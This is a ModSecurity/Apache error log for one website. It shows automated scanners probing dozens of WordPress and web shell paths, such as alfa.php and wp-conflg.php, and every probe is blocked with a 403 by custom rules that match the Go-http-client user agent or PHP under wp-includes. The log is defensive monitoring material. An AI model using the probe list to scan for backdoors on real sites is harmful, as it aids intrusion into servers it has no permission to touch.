[Sun Nov 23 08:57:13.956496 2025] [:error] [pid 38739:tid 38781] [client 85.203.21.176:32827] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aSJb6QdvEgJm2n2cDmpkbQAAAEw"]
[Sun Nov 23 08:57:14.170953 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.170:33805] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "aSJb6gdvEgJm2n2cDmpkbgAAAEQ"]
[Sun Nov 23 08:57:14.503377 2025] [:error] [pid 38739:tid 38769] [client 85.203.21.221:42979] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aSJb6gdvEgJm2n2cDmpkbwAAAEA"]
[Sun Nov 23 08:57:14.697317 2025] [:error] [pid 38824:tid 38828] [client 85.203.21.58:37233] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap/function.php"] [unique_id "aSJb6k8WZjXLvbHTHPcMjQAAAME"]
[Sun Nov 23 08:57:15.032034 2025] [:error] [pid 44652:tid 44721] [client 85.203.21.155:25643] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aSJb69iQFwsyXQDhwyANyAAAAQ8"]
[Sun Nov 23 08:57:15.284567 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.188:51003] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cgi-bin/"] [unique_id "aSJb6wdvEgJm2n2cDmpkcwAAAEo"]
[Sun Nov 23 08:57:15.526444 2025] [:error] [pid 38738:tid 38763] [client 85.203.21.156:51669] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aSJb6wytc6TL9XavPmMayAAAABU"]
[Sun Nov 23 08:57:15.808753 2025] [:error] [pid 38740:tid 38802] [client 85.203.21.195:23965] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSJb6w13QPZSi6O8umXcEwAAAIY"]
[Sun Nov 23 08:57:16.195480 2025] [:error] [pid 38738:tid 38757] [client 85.203.21.155:53793] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aSJb7Aytc6TL9XavPmMaywAAAA8"]
[Sun Nov 23 08:57:16.381946 2025] [:error] [pid 38738:tid 38765] [client 85.203.21.54:22407] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "aSJb7Aytc6TL9XavPmMazAAAABc"]
[Sun Nov 23 08:57:16.579746 2025] [:error] [pid 44652:tid 44714] [client 85.203.21.228:48383] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aSJb7NiQFwsyXQDhwyANygAAAQg"]
[Sun Nov 23 08:57:16.803471 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.201:41989] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aSJb7AdvEgJm2n2cDmpkdgAAAEk"]
[Sun Nov 23 08:57:18.011399 2025] [:error] [pid 38739:tid 38772] [client 85.203.21.235:32171] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aSJb7gdvEgJm2n2cDmpkeAAAAEM"]
[Sun Nov 23 08:57:18.235366 2025] [:error] [pid 38738:tid 38747] [client 85.203.21.206:52779] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aSJb7gytc6TL9XavPmMa0QAAAAU"]
[Sun Nov 23 08:57:18.433358 2025] [:error] [pid 38738:tid 38763] [client 85.203.21.213:60247] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/nf_tracking.php"] [unique_id "aSJb7gytc6TL9XavPmMa1AAAABU"]
[Sun Nov 23 08:57:18.654644 2025] [:error] [pid 38739:tid 38785] [client 193.37.32.2:33969] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aSJb7gdvEgJm2n2cDmpkegAAAFA"]
[Sun Nov 23 08:57:23.841668 2025] [:error] [pid 38824:tid 38840] [client 85.203.21.202:46939] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comments/"] [unique_id "aSJb808WZjXLvbHTHPcMmQAAAM0"]
[Sun Nov 23 08:57:24.037355 2025] [:error] [pid 38824:tid 38843] [client 85.203.21.239:30489] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/"] [unique_id "aSJb9E8WZjXLvbHTHPcMmgAAANA"]
[Sun Nov 23 08:57:24.257313 2025] [:error] [pid 38740:tid 38809] [client 193.37.32.1:64231] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/natural.php"] [unique_id "aSJb9A13QPZSi6O8umXcGQAAAI0"]
[Sun Nov 23 08:57:24.472776 2025] [:error] [pid 38739:tid 38782] [client 85.203.21.155:23785] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aSJb9AdvEgJm2n2cDmpkfgAAAE0"]
[Sun Nov 23 08:57:24.662762 2025] [:error] [pid 38738:tid 38757] [client 85.203.21.235:59555] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "aSJb9Aytc6TL9XavPmMa3gAAAA8"]
[Sun Nov 23 08:57:24.866901 2025] [:error] [pid 44652:tid 44710] [client 85.203.21.162:20215] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "aSJb9NiQFwsyXQDhwyAN0wAAAQQ"]
[Sun Nov 23 08:57:25.083721 2025] [:error] [pid 38739:tid 38791] [client 85.203.21.238:30193] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aSJb9QdvEgJm2n2cDmpkfwAAAFY"]
[Sun Nov 23 08:57:25.655907 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.164:26417] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSJb9Qytc6TL9XavPmMa4wAAAAg"]
[Sun Nov 23 08:57:25.898822 2025] [:error] [pid 38738:tid 38760] [client 85.203.21.222:60467] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aSJb9Qytc6TL9XavPmMa5AAAABI"]
[Sun Nov 23 08:57:26.321452 2025] [:error] [pid 38824:tid 38846] [client 85.203.21.201:38127] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/about.php"] [unique_id "aSJb9k8WZjXLvbHTHPcMnQAAANM"]
[Sun Nov 23 08:57:26.513732 2025] [:error] [pid 38740:tid 38800] [client 85.203.21.188:59343] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/worksec.php"] [unique_id "aSJb9g13QPZSi6O8umXcHQAAAIQ"]
[Sun Nov 23 08:57:26.698458 2025] [:error] [pid 38739:tid 38784] [client 85.203.21.172:40107] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aSJb9gdvEgJm2n2cDmpkhQAAAE8"]
[Sun Nov 23 08:57:26.906767 2025] [:error] [pid 38738:tid 38764] [client 85.203.21.184:55771] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aSJb9gytc6TL9XavPmMa6AAAABY"]
[Sun Nov 23 08:57:27.139448 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.45:28919] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/function.php"] [unique_id "aSJb9wdvEgJm2n2cDmpkhwAAAEo"]
[Sun Nov 23 08:57:27.428417 2025] [:error] [pid 38740:tid 38802] [client 193.37.32.2:56627] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aSJb9w13QPZSi6O8umXcHwAAAIY"]
[Sun Nov 23 08:57:27.625443 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.235:55301] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/"] [unique_id "aSJb9wdvEgJm2n2cDmpkiQAAAFU"]
[Sun Nov 23 08:57:27.834248 2025] [:error] [pid 38740:tid 38813] [client 85.203.21.178:34309] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/fast.php"] [unique_id "aSJb9w13QPZSi6O8umXcIgAAAJE"]
[Sun Nov 23 08:57:28.039347 2025] [:error] [pid 38740:tid 38807] [client 85.203.21.58:25127] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aSJb-A13QPZSi6O8umXcIwAAAIs"]
[Sun Nov 23 08:57:28.237231 2025] [:error] [pid 38739:tid 38770] [client 85.203.21.172:57695] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aSJb-AdvEgJm2n2cDmpkiwAAAEE"]
[Sun Nov 23 08:57:28.455079 2025] [:error] [pid 38738:tid 38748] [client 85.203.21.237:38547] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/"] [unique_id "aSJb-Aytc6TL9XavPmMa6wAAAAY"]
[Sun Nov 23 08:57:33.648274 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.235:40325] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ioxi002.PhP7"] [unique_id "aSJb_QdvEgJm2n2cDmpklQAAAEg"]
[Sun Nov 23 08:57:33.837308 2025] [:error] [pid 38824:tid 38829] [client 85.203.21.170:45019] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/about.php7"] [unique_id "aSJb_U8WZjXLvbHTHPcMoAAAAMI"]
[Sun Nov 23 08:57:34.035319 2025] [:error] [pid 38739:tid 38774] [client 85.203.21.159:51943] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aSJb_gdvEgJm2n2cDmpkmAAAAEU"]
[Sun Nov 23 08:57:34.219746 2025] [:error] [pid 38739:tid 38772] [client 85.203.21.57:41935] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/function/function.php"] [unique_id "aSJb_gdvEgJm2n2cDmpkmQAAAEM"]
[Sun Nov 23 08:57:34.408365 2025] [:error] [pid 38824:tid 38845] [client 85.203.21.176:55405] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/"] [unique_id "aSJb_k8WZjXLvbHTHPcMogAAANI"]
[Sun Nov 23 08:57:34.670851 2025] [:error] [pid 38739:tid 38792] [client 85.203.21.167:42517] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aSJb_gdvEgJm2n2cDmpkmgAAAFc"]
[Sun Nov 23 08:57:34.904951 2025] [:error] [pid 38740:tid 38805] [client 85.203.21.192:60693] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSJb_g13QPZSi6O8umXcKQAAAIk"]
[Sun Nov 23 08:57:35.185482 2025] [:error] [pid 38738:tid 38753] [client 85.203.21.45:52531] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSJb_wytc6TL9XavPmMa9QAAAAs"]
[Sun Nov 23 08:57:35.707315 2025] [:error] [pid 38740:tid 38799] [client 85.203.21.167:59365] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSJb_w13QPZSi6O8umXcKgAAAIM"]
[Sun Nov 23 08:57:35.909013 2025] [:error] [pid 44652:tid 44717] [client 85.203.21.58:53553] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-"] [unique_id "aSJb_9iQFwsyXQDhwyAN4AAAAQs"]
[Sun Nov 23 08:57:36.151650 2025] [:error] [pid 44652:tid 44730] [client 85.203.21.238:31963] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-error.php"] [unique_id "aSJcANiQFwsyXQDhwyAN4QAAARg"]
[Sun Nov 23 08:57:36.788023 2025] [:error] [pid 38740:tid 38797] [client 85.203.21.235:56007] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aSJcAA13QPZSi6O8umXcKwAAAIE"]
[Sun Nov 23 08:57:37.038009 2025] [:error] [pid 38740:tid 38809] [client 85.203.21.172:24459] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aSJcAQ13QPZSi6O8umXcLQAAAI0"]
[Sun Nov 23 08:57:37.303628 2025] [:error] [pid 38738:tid 38757] [client 85.203.21.213:47853] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/"] [unique_id "aSJcAQytc6TL9XavPmMa-AAAAA8"]
[Sun Nov 23 08:57:37.496801 2025] [:error] [pid 38739:tid 38775] [client 85.203.21.221:54275] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xc.php"] [unique_id "aSJcAQdvEgJm2n2cDmpkoQAAAEY"]
[Sun Nov 23 08:57:38.018274 2025] [:error] [pid 38739:tid 38776] [client 85.203.21.195:24219] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aSJcAgdvEgJm2n2cDmpkogAAAEc"]
[Sun Nov 23 08:57:38.276783 2025] [:error] [pid 38740:tid 38796] [client 85.203.21.155:52991] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aSJcAg13QPZSi6O8umXcLgAAAIA"]
[Sun Nov 23 08:57:38.551837 2025] [:error] [pid 38738:tid 38743] [client 85.203.21.186:35743] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/"] [unique_id "aSJcAgytc6TL9XavPmMa-gAAAAE"]
[Sun Nov 23 08:57:38.743997 2025] [:error] [pid 38738:tid 38748] [client 85.203.21.217:40665] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aSJcAgytc6TL9XavPmMa-wAAAAY"]
